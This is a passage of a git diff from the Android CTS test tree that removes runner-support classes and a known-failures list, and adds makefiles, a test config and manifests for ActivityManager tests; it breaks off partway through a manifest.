diff --git a/tests/core/runner/src/com/android/cts/core/runner/support/AndroidRunnerBuilder.java b/tests/core/runner/src/com/android/cts/core/runner/support/AndroidRunnerBuilder.java
deleted file mode 100644
index 91df2b9..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/support/AndroidRunnerBuilder.java
+++ /dev/null
@@ -1,82 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.core.runner.support;
-
-import android.support.test.internal.runner.junit3.AndroidJUnit3Builder;
-import android.support.test.internal.runner.junit3.AndroidSuiteBuilder;
-import android.support.test.internal.runner.junit4.AndroidAnnotatedBuilder;
-import android.support.test.internal.runner.junit4.AndroidJUnit4Builder;
-import android.support.test.internal.util.AndroidRunnerParams;
-
-import org.junit.internal.builders.AllDefaultPossibilitiesBuilder;
-import org.junit.internal.builders.AnnotatedBuilder;
-import org.junit.internal.builders.IgnoredBuilder;
-import org.junit.internal.builders.JUnit3Builder;
-import org.junit.internal.builders.JUnit4Builder;
-import org.junit.runners.model.RunnerBuilder;
-
-/**
- * A {@link RunnerBuilder} that can handle all types of tests.
- */
-// A copy of package private class android.support.test.internal.runner.AndroidRunnerBuilder.
-// Copied here so that it can be extended.
-class AndroidRunnerBuilder extends AllDefaultPossibilitiesBuilder {
-
- private final AndroidJUnit3Builder mAndroidJUnit3Builder;
- private final AndroidJUnit4Builder mAndroidJUnit4Builder;
- private final AndroidSuiteBuilder mAndroidSuiteBuilder;
- private final AndroidAnnotatedBuilder mAndroidAnnotatedBuilder;
- // TODO: customize for Android ?
- private final IgnoredBuilder mIgnoredBuilder;
-
- /**
- * @param runnerParams {@link AndroidRunnerParams} that stores common runner parameters
- */
- // Added canUseSuiteMethod parameter.
- AndroidRunnerBuilder(AndroidRunnerParams runnerParams, boolean canUseSuiteMethod) {
- super(canUseSuiteMethod);
- mAndroidJUnit3Builder = new AndroidJUnit3Builder(runnerParams);
- mAndroidJUnit4Builder = new AndroidJUnit4Builder(runnerParams);
- mAndroidSuiteBuilder = new AndroidSuiteBuilder(runnerParams);
- mAndroidAnnotatedBuilder = new AndroidAnnotatedBuilder(this, runnerParams);
- mIgnoredBuilder = new IgnoredBuilder();
- }
-
- @Override
- protected JUnit4Builder junit4Builder() {
- return mAndroidJUnit4Builder;
- }
-
- @Override
- protected JUnit3Builder junit3Builder() {
- return mAndroidJUnit3Builder;
- }
-
- @Override
- protected AnnotatedBuilder annotatedBuilder() {
- return mAndroidAnnotatedBuilder;
- }
-
- @Override
- protected IgnoredBuilder ignoredBuilder() {
- return mIgnoredBuilder;
- }
-
- @Override
- protected RunnerBuilder suiteMethodBuilder() {
- return mAndroidSuiteBuilder;
- }
-}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/support/ExtendedAndroidRunnerBuilder.java b/tests/core/runner/src/com/android/cts/core/runner/support/ExtendedAndroidRunnerBuilder.java
deleted file mode 100644
index a2f95e2..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/support/ExtendedAndroidRunnerBuilder.java
+++ /dev/null
@@ -1,66 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.core.runner.support;
-
-import android.support.test.internal.util.AndroidRunnerParams;
-import android.util.Log;
-import org.junit.runners.model.RunnerBuilder;
-import org.junit.runner.Runner;
-
-/**
- * Extends {@link AndroidRunnerBuilder} in order to provide alternate {@link RunnerBuilder}
- * implementations.
- */
-public class ExtendedAndroidRunnerBuilder extends AndroidRunnerBuilder {
-
- private static final boolean DEBUG = false;
-
- private final TestNgRunnerBuilder mTestNgBuilder;
-
- /**
- * @param runnerParams {@link AndroidRunnerParams} that stores common runner parameters
- */
- public ExtendedAndroidRunnerBuilder(AndroidRunnerParams runnerParams) {
- super(runnerParams, false /* CTSv1 filtered out Test suite() classes. */);
- mTestNgBuilder = new TestNgRunnerBuilder();
- }
-
- @Override
- public Runner runnerForClass(Class<?> testClass) throws Throwable {
- if (DEBUG) {
- Log.d("ExAndRunBuild", "runnerForClass: Searching runner for class " + testClass.getName());
- }
-
- // Give TestNG tests a chance to participate in the Runner search first.
- // (Note that the TestNG runner handles log-only runs by itself)
- Runner runner = mTestNgBuilder.runnerForClass(testClass);
- if (runner == null) {
- // Use the normal Runner search mechanism (for Junit tests).
- runner = super.runnerForClass(testClass);
- }
-
- logFoundRunner(runner);
- return runner;
- }
-
- private static void logFoundRunner(Runner runner) {
- if (DEBUG) {
- Log.d("ExAndRunBuild", "runnerForClass: Found runner of type " +
- ((runner == null) ? "<null>" : runner.getClass().getName()));
- }
- }
-}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/support/package-info.java b/tests/core/runner/src/com/android/cts/core/runner/support/package-info.java
deleted file mode 100644
index 3ccec3c..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/support/package-info.java
+++ /dev/null
@@ -1,26 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-/**
- * Contains all the changes needed to the {@code android.support.test.internal.runner} classes.
- *
- * <p>As its name suggests {@code android.support.test.internal.runner} are internal classes that
- * are not designed to be extended from outside those packages. This package encapsulates all the
- * workarounds needed to overcome that limitation, from duplicating classes to using reflection.
- * The intention is that these changes are temporary and they (or a better equivalent) will be
- * quickly integrated into the internal classes.
- */
-package com.android.cts.core.runner.support;
diff --git a/tests/expectations/knownfailures.txt b/tests/expectations/knownfailures.txt
deleted file mode 100644
index 08c2a5e..0000000
--- a/tests/expectations/knownfailures.txt
+++ /dev/null
@@ -1,282 +0,0 @@
-[
-{
- description: "Disable ListeningPortsTest",
- names: [
- "android.security.cts.ListeningPortsTest"
- ],
- bug: 31803630
-},
-{
- description: "some AlarmClockTests are not robust across different device types",
- names: [
- "android.alarmclock.cts.DismissAlarmTest#testAll",
- "android.alarmclock.cts.SetAlarmTest#testAll",
- "android.alarmclock.cts.SnoozeAlarmTest#testAll"
- ],
- bug: 23776083
-},
-{
- description: "the UsageStats is not yet stable enough",
- names: [
- "android.app.usage.cts.UsageStatsTest"
- ],
- bug: 17536113
-},
-{
- description: "the ConnectivityConstraintTest are not yet stable",
- names: [
- "android.jobscheduler.cts.ConnectivityConstraintTest"
- ],
- bug: 18117279
-},
-{
- description: "tests a fragile by nature as they rely on hardcoded behavior",
- names: [
- "android.accessibilityservice.cts.AccessibilityTextTraversalTest#testActionNextAndPreviousAtGranularityPageOverText",
- "android.accessibilityservice.cts.AccessibilityTextTraversalTest#testActionNextAndPreviousAtGranularityPageOverTextExtend"
- ],
- bug: 17595050
-},
-{
- description: "test fails on some devices",
- names: [
- "android.dumpsys.cts.DumpsysHostTest#testBatterystatsOutput",
- "android.dumpsys.cts.DumpsysHostTest#testGfxinfoFramestats"
- ],
- bug: 23776893
-},
-{
- description: "the SSLCertificateSocketFactoryTest often fails because of lack of live internet or short timeout, it should be refactored to do a local server testing",
- names: [
- "android.net.cts.SSLCertificateSocketFactoryTest#testCreateSocket",
- "android.net.cts.SSLCertificateSocketFactoryTest#test_createSocket_bind",
- "android.net.cts.SSLCertificateSocketFactoryTest#test_createSocket_simple",
- "android.net.cts.SSLCertificateSocketFactoryTest#test_createSocket_wrapping"
- ],
- bug: 18682315
-},
-{
- description: "the test result are too much dependent on live-internet connection, which for some devices might not exist",
- names: [
- "android.net.wifi.cts.NsdManagerTest#testAndroidTestCaseSetupProperly"
- ],
- bug: 18680089
-},
-{
- description: "AudioPolicyBinder tests are not yet robust enough",
- names: [
- "android.security.cts.AudioPolicyBinderTest"
- ],
- bug: 18461670
-},
-{
- description: "test not robust",
- names: [
- "android.telecom.cts.ExtendedInCallServiceTest#testAddNewOutgoingCallAndThenDisconnect",
- "android.telecom.cts.RemoteConferenceTest#testRemoteConferenceCallbacks_ConferenceableConnections"
- ],
- bug: 23604254
-},
-{
- description: "tests too flaky",
- names: [
- "android.transition.cts.ChangeScrollTest#testChangeScroll"
- ],
- bug: 23779020
-},
-{
- description: "Not all jdwp features are currently supported. These tests will fail",
- names: [
- "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowDebuggerLaunchTest#testDebuggerLaunch001",
- "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowDebuggerLaunchTest#testDebuggerLaunch002",
- "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowDebuggerLaunchTest#testDebuggerLaunch003",
- "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowDebuggerLaunchTest#testDebuggerLaunch004",
- "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowLaunchDebugger001#testDebugger002",
- "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowLaunchDebugger002#testDebugger",
- "org.apache.harmony.jpda.tests.jdwp.Events.ClassUnloadTest#testClassUnloadEvent",
- "org.apache.harmony.jpda.tests.jdwp.Events.MonitorContendedEnterTest#testMonitorContendedEnterForClassMatch",
- "org.apache.harmony.jpda.tests.jdwp.Events.MonitorContendedEnteredTest#testMonitorContendedEnteredForClassMatch",
- "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitTest#testMonitorWaitForClassExclude",
- "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitTest#testMonitorWaitForClassMatchExact",
- "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitTest#testMonitorWaitForClassMatchFirst",
- "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitTest#testMonitorWaitForClassMatchSecond",
- "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitTest#testMonitorWaitForClassOnly",
- "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitedTest#testMonitorWaitedForClassExclude",
- "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitedTest#testMonitorWaitedForClassMatchExact",
- "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitedTest#testMonitorWaitedForClassMatchFirst",
- "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitedTest#testMonitorWaitedForClassMatchSecond",
- "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitedTest#testMonitorWaitedForClassOnly",
- "org.apache.harmony.jpda.tests.jdwp.ReferenceType.ClassFileVersionTest#testClassFileVersion001",
- "org.apache.harmony.jpda.tests.jdwp.ReferenceType.NestedTypesTest#testNestedTypes001",
- "org.apache.harmony.jpda.tests.jdwp.ThreadReference.StopTest#testStop001",
- "org.apache.harmony.jpda.tests.jdwp.VirtualMachine.HoldEventsTest#testHoldEvents001",
- "org.apache.harmony.jpda.tests.jdwp.VirtualMachine.ReleaseEventsTest#testReleaseEvents001"
- ],
- bug: 16720689
-},
-{
- description: "test can only run properly on a user build device when the bug is resolved",
- names: [
- "android.appwidget.cts.AppWidgetTest#testAppWidgetProviderCallbacks",
- "android.appwidget.cts.AppWidgetTest#testBindAppWidget",
- "android.appwidget.cts.AppWidgetTest#testCollectionWidgets",
- "android.appwidget.cts.AppWidgetTest#testDeleteHost",
- "android.appwidget.cts.AppWidgetTest#testDeleteHosts",
- "android.appwidget.cts.AppWidgetTest#testGetAppWidgetIds",
- "android.appwidget.cts.AppWidgetTest#testGetAppWidgetInfo",
- "android.appwidget.cts.AppWidgetTest#testGetAppWidgetOptions",
- "android.appwidget.cts.AppWidgetTest#testPartiallyUpdateAppWidgetViaWidgetId",
- "android.appwidget.cts.AppWidgetTest#testPartiallyUpdateAppWidgetViaWidgetIds",
- "android.appwidget.cts.AppWidgetTest#testTwoAppWidgetProviderCallbacks",
- "android.appwidget.cts.AppWidgetTest#testUpdateAppWidgetViaComponentName",
- "android.appwidget.cts.AppWidgetTest#testUpdateAppWidgetViaWidgetId",
- "android.appwidget.cts.AppWidgetTest#testUpdateAppWidgetViaWidgetIds"
- ],
- bug: 17993121
-},
-{
- description: "permissions for the API previously used in the test has changed, making it impossible to pass",
- names: [
- "android.openglperf.cts.GlAppSwitchTest#testGlActivitySwitchingFast",
- "android.openglperf.cts.GlAppSwitchTest#testGlActivitySwitchingSlow"
- ],
- bug: 17394321
-},
-{
- description: "unexpected failures",
- names: [
- "android.openglperf.cts.GlVboPerfTest#testVboWithVaryingIndexBufferNumbers"
- ],
- bug: 18091590
-},
-{
- description: "Test is not yet properly implemented",
- names: [
- "android.voicesettings.cts.ZenModeTest#testAll"
- ],
- bug: 23238984
-},
-{
- description: "This test failed on devices that use effect off loading. In addition it uses hidden apis",
- names: [
- "android.media.cts.AudioEffectTest#test1_1ConstructorFromUuid"
- ],
- bug: 17605875
-},
-{
- description: "This test failed on hw decoder that doesn't output frame with the configured format.",
- names: [
- "android.media.cts.ImageReaderDecoderTest#testHwAVCDecode360pForFlexibleYuv"
- ],
- bug: 17144778
-},
-{
- description: "android.keystore tests will replace these tests",
- names: [
- "com.android.org.conscrypt.MacTest#test_getInstance_OpenSSL_ENGINE",
- "com.android.org.conscrypt.NativeCryptoTest#test_ENGINE_by_id_TestEngine",
- "com.android.org.conscrypt.SignatureTest#test_getInstance_OpenSSL_ENGINE"
- ],
- bug: 18030049
-},
-{
- description: "The new prepare performance test is not yet passing on all devices",
- names: [
- "android.hardware.camera2.cts.SurfaceViewPreviewTest#testPreparePerformance"
- ],
- bug: 17989532
-},
-{
- description: "The timing measurements for preview callbacks are not reliable",
- names: [
- "android.hardware.cts.CameraTest#testPreviewFpsRange"
- ],
- bug: 23008511
-},
-{
- description: "Light status bar CTS coming in late",
- names: [
- "android.systemui.cts.LightStatusBarTests#testLightStatusBarIcons"
- ],
- bug: 23427621
-},
-{
- description: "tests are not yet ready",
- names: [
- "com.android.cts.app.os.OsHostTests#testNonExportedActivities"
- ],
- bug: 23779168
-},
-{
- description: "ConnectivityConstraintTest job scheduler not working.",
- names: [
- "android.jobscheduler.cts.ConnectivityConstraintTest#testConnectivityConstraintExecutes_withWifi",
- "android.jobscheduler.cts.ConnectivityConstraintTest#testUnmeteredConstraintExecutes_withWifi",
- "android.jobscheduler.cts.ConnectivityConstraintTest#testConnectivityConstraintExecutes_withMobile"
- ],
- bug: 21262226
-},
-{
- description: "ConnectivityConstraintTest times out.",
- names: [
- "android.jobscheduler.cts.TimingConstraintsTest#testJobParameters_unexpiredDeadline"
- ],
- bug: 23144425
-},
-{
- description: "Video encoding tests are timing out.",
- names: [
- "android.media.cts.VideoEncoderTest#testGoogH264FlexArbitraryW",
- "android.media.cts.VideoEncoderTest#testGoogH264SurfArbitraryW"
- ],
- bug: 23827982
-},
-{
- description: "protected broadcast not working",
- names: [
- "android.permission2.cts.ProtectedBroadcastsTest#testSendProtectedBroadcasts"
- ],
- bug: 23192492
-},
-{
- description: "restricted network is not working",
- names: [
- "android.net.cts.ConnectivityManagerTest#testRestrictedNetworks"
- ],
- bug: 25651805
-},
-{
- description: "unit testing for MediaPreparer lives within mediastress module",
- names: [
- "android.mediastress.cts.preconditions.MediaPreparerTest"
- ],
- bug: 25850508
-},
-{
- description: "Tests for the signature tests should not be in CTS",
- names: [
- "android.signature.cts.tests"
- ],
- bug: 26150806
-},
-{
- description: "android.security.cts is using a Non-NDK library, libmedia_jni.so",
- names: [
- "android.security.cts.MediaCryptoTest#testMediaCryptoClearKey",
- "android.security.cts.MediaCryptoTest#testMediaCryptoWidevine"
- ],
- bug: 27218502
-},
-{
- description: "Still investigating this, root cause unknown yet",
- bug: 27578806,
- names: ["com.android.cts.cpptools.RunAsHostTest#testRunAs"]
-},
-{
- description: "Wired headset tests are no longer a requirement per CDD",
- names: [
- "android.telecom.cts.WiredHeadsetTest"
- ],
- bug: 26149528
-}
-]
diff --git a/hostsidetests/services/Android.mk b/tests/framework/Android.mk
similarity index 100%
rename from hostsidetests/services/Android.mk
rename to tests/framework/Android.mk
diff --git a/hostsidetests/services/Android.mk b/tests/framework/base/Android.mk
similarity index 100%
copy from hostsidetests/services/Android.mk
copy to tests/framework/base/Android.mk
diff --git a/tests/framework/base/activitymanager/Android.mk b/tests/framework/base/activitymanager/Android.mk
new file mode 100644
index 0000000..ee5ff8c
--- /dev/null
+++ b/tests/framework/base/activitymanager/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2015 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests optional
+
+# Must match the package name in CtsTestCaseList.mk
+LOCAL_PACKAGE_NAME := CtsActivityManagerDeviceTestCases
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+ cts-amwm-util \
+ cts-display-service-app-util
+
+LOCAL_CTS_TEST_PACKAGE := android.server
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
+
+# Build the test APKs using their own makefiles
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/framework/base/activitymanager/AndroidManifest.xml b/tests/framework/base/activitymanager/AndroidManifest.xml
new file mode 100644
index 0000000..4ca4a5d
--- /dev/null
+++ b/tests/framework/base/activitymanager/AndroidManifest.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.server.cts.am">
+
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.READ_PHONE_STATE" />
+ <uses-permission android:name="android.permission.MANAGE_ACTIVITY_STACKS" />
+ <uses-permission android:name="android.permission.ACTIVITY_EMBEDDING" />
+
+ <application android:label="CtsActivityManagerDeviceTestCases">
+ <uses-library android:name="android.test.runner" />
+
+ <activity
+ android:name="android.server.am.AspectRatioTests$MaxAspectRatioActivity"
+ android:label="MaxAspectRatioActivity"
+ android:maxAspectRatio="1.0"
+ android:resizeableActivity="false" />
+
+ <activity
+ android:name="android.server.am.AspectRatioTests$MetaDataMaxAspectRatioActivity"
+ android:label="MetaDataMaxAspectRatioActivity"
+ android:resizeableActivity="false">
+ <meta-data
+ android:name="android.max_aspect"
+ android:value="1.0" />
+ </activity>
+
+ <activity
+ android:name="android.server.am.AspectRatioTests$MaxAspectRatioResizeableActivity"
+ android:label="MaxAspectRatioResizeableActivity"
+ android:maxAspectRatio="1.0"
+ android:resizeableActivity="true" />
+
+ <activity
+ android:name="android.server.am.AspectRatioTests$MaxAspectRatioUnsetActivity"
+ android:label="MaxAspectRatioUnsetActivity"
+ android:resizeableActivity="false" />
+
+ <activity android:name="android.server.am.lifecycle.ActivityLifecycleClientTestBase$FirstActivity" />
+
+ <activity android:name="android.server.am.lifecycle.ActivityLifecycleClientTestBase$SecondActivity"/>
+
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:label="CTS tests of ActivityManager"
+ android:targetPackage="android.server.cts.am" />
+
+</manifest>
diff --git a/tests/framework/base/activitymanager/AndroidTest.xml b/tests/framework/base/activitymanager/AndroidTest.xml
new file mode 100644
index 0000000..1542706
--- /dev/null
+++ b/tests/framework/base/activitymanager/AndroidTest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS ActivityManager test cases">
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck"/>
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsActivityManagerDeviceTestCases.apk" />
+ <option name="test-file-name" value="CtsDeviceServicesTestApp.apk" />
+ <option name="test-file-name" value="CtsDeviceServicesTestSecondApp.apk" />
+ <option name="test-file-name" value="CtsDeviceServicesTestThirdApp.apk" />
+ <option name="test-file-name" value="CtsDeviceDebuggableApp.apk" />
+ <option name="test-file-name" value="CtsDeviceDisplaySizeApp.apk" />
+ <option name="test-file-name" value="CtsDevicePrereleaseSdkApp.apk" />
+ <option name="test-file-name" value="CtsDisplayServiceApp.apk" />
+ <option name="test-file-name" value="CtsDeviceTranslucentTestApp.apk" />
+ <option name="test-file-name" value="CtsDeviceTranslucentTestApp26.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+ <option name="package" value="android.server.cts.am"/>
+ <option name="runtime-hint" value="1h"/>
+ </test>
+</configuration>
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/Android.mk b/tests/framework/base/activitymanager/app/Android.mk
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/Android.mk
rename to tests/framework/base/activitymanager/app/Android.mk
diff --git a/tests/framework/base/activitymanager/app/AndroidManifest.xml b/tests/framework/base/activitymanager/app/AndroidManifest.xml
new file mode 100755
index 0000000..2bed053
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/AndroidManifest.xml
@@ -0,0 +1,410 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
+ package="android.server.am">
+
+ <!-- virtual display test permissions -->
+ <uses-permission android:name="android.permission.CAPTURE_VIDEO_OUTPUT" />
+ <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+ <uses-permission android:name="android.permission.BIND_VOICE_INTERACTION" />
+
+ <application>
+ <activity android:name=".TestActivity"
+ android:resizeableActivity="true"
+ android:supportsPictureInPicture="true"
+ android:exported="true"
+ />
+ <activity android:name=".TestActivityWithSameAffinity"
+ android:resizeableActivity="true"
+ android:supportsPictureInPicture="true"
+ android:exported="true"
+ android:taskAffinity="nobody.but.PipActivitySameAffinity"
+ />
+ <activity android:name=".TranslucentTestActivity"
+ android:resizeableActivity="true"
+ android:supportsPictureInPicture="true"
+ android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+ android:theme="@style/Theme.Transparent" />
+ <activity android:name=".VrTestActivity"
+ android:resizeableActivity="true"
+ android:exported="true"
+ />
+ <activity android:name=".ResumeWhilePausingActivity"
+ android:allowEmbedded="true"
+ android:resumeWhilePausing="true"
+ android:taskAffinity=""
+ android:exported="true"
+ />
+ <activity android:name=".ResizeableActivity"
+ android:resizeableActivity="true"
+ android:allowEmbedded="true"
+ android:exported="true"
+ android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density"
+ />
+ <activity android:name=".NonResizeableActivity"
+ android:resizeableActivity="false"
+ android:exported="true"
+ />
+ <activity android:name=".DockedActivity"
+ android:resizeableActivity="true"
+ android:exported="true"
+ android:taskAffinity="nobody.but.DockedActivity"
+ />
+ <activity android:name=".TranslucentActivity"
+ android:theme="@android:style/Theme.Translucent.NoTitleBar"
+ android:resizeableActivity="true"
+ android:taskAffinity="nobody.but.TranslucentActivity"
+ android:exported="true"
+ />
+ <activity android:name=".DialogWhenLargeActivity"
+ android:exported="true"
+ android:theme="@android:style/Theme.DeviceDefault.Light.DialogWhenLarge"
+ />
+ <activity android:name=".NoRelaunchActivity"
+ android:resizeableActivity="true"
+ android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|fontScale"
+ android:exported="true"
+ android:taskAffinity="nobody.but.NoRelaunchActivity"
+ />
+ <activity android:name=".SlowCreateActivity"
+ android:resizeableActivity="true"
+ android:exported="true"
+ />
+ <activity android:name=".LaunchingActivity"
+ android:resizeableActivity="true"
+ android:exported="true"
+ android:taskAffinity="nobody.but.LaunchingActivity"
+ />
+ <activity android:name=".AltLaunchingActivity"
+ android:resizeableActivity="true"
+ android:exported="true"
+ android:taskAffinity="nobody.but.LaunchingActivity"
+ />
+ <activity android:name=".PipActivity"
+ android:resizeableActivity="false"
+ android:supportsPictureInPicture="true"
+ android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+ android:exported="true"
+ android:taskAffinity="nobody.but.PipActivity"
+ />
+ <activity android:name=".PipActivity2"
+ android:resizeableActivity="false"
+ android:supportsPictureInPicture="true"
+ android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+ android:exported="true"
+ android:taskAffinity="nobody.but.PipActivity2"
+ />
+ <activity android:name=".PipOnStopActivity"
+ android:resizeableActivity="false"
+ android:supportsPictureInPicture="true"
+ android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+ android:exported="true"
+ android:taskAffinity="nobody.but.PipOnStopActivity"
+ />
+ <activity android:name=".PipActivityWithSameAffinity"
+ android:resizeableActivity="false"
+ android:supportsPictureInPicture="true"
+ android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+ android:exported="true"
+ android:taskAffinity="nobody.but.PipActivitySameAffinity"
+ />
+ <activity android:name=".AlwaysFocusablePipActivity"
+ android:theme="@style/Theme.Transparent"
+ android:resizeableActivity="false"
+ android:supportsPictureInPicture="true"
+ androidprv:alwaysFocusable="true"
+ android:exported="true"
+ android:taskAffinity="nobody.but.AlwaysFocusablePipActivity"
+ />
+ <activity android:name=".LaunchIntoPinnedStackPipActivity"
+ android:resizeableActivity="false"
+ android:supportsPictureInPicture="true"
+ androidprv:alwaysFocusable="true"
+ android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+ android:exported="true"
+ />
+ <activity android:name=".LaunchPipOnPipActivity"
+ android:resizeableActivity="false"
+ android:supportsPictureInPicture="true"
+ android:taskAffinity="nobody.but.LaunchPipOnPipActivity"
+ android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+ android:exported="true"
+ />
+ <activity android:name=".LaunchEnterPipActivity"
+ android:resizeableActivity="false"
+ android:supportsPictureInPicture="true"
+ androidprv:alwaysFocusable="true"
+ android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+ android:exported="true"
+ />
+ <activity android:name=".FreeformActivity"
+ android:resizeableActivity="true"
+ android:taskAffinity="nobody.but.FreeformActivity"
+ android:exported="true"
+ />
+ <activity android:name=".TopLeftLayoutActivity"
+ android:resizeableActivity="true"
+ android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+ android:exported="true">
+ <layout android:defaultWidth="240dp"
+ android:defaultHeight="160dp"
+ android:gravity="top|left"
+ android:minWidth="100dp"
+ android:minHeight="80dp"
+ />
+ </activity>
+ <activity android:name=".TopRightLayoutActivity"
+ android:resizeableActivity="true"
+ android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+ android:exported="true">
+ <layout android:defaultWidth="25%"
+ android:defaultHeight="35%"
+ android:gravity="top|right"
+ android:minWidth="90dp"
+ android:minHeight="80dp"
+ />
+ </activity>
+ <activity android:name=".BottomLeftLayoutActivity"
+ android:resizeableActivity="true"
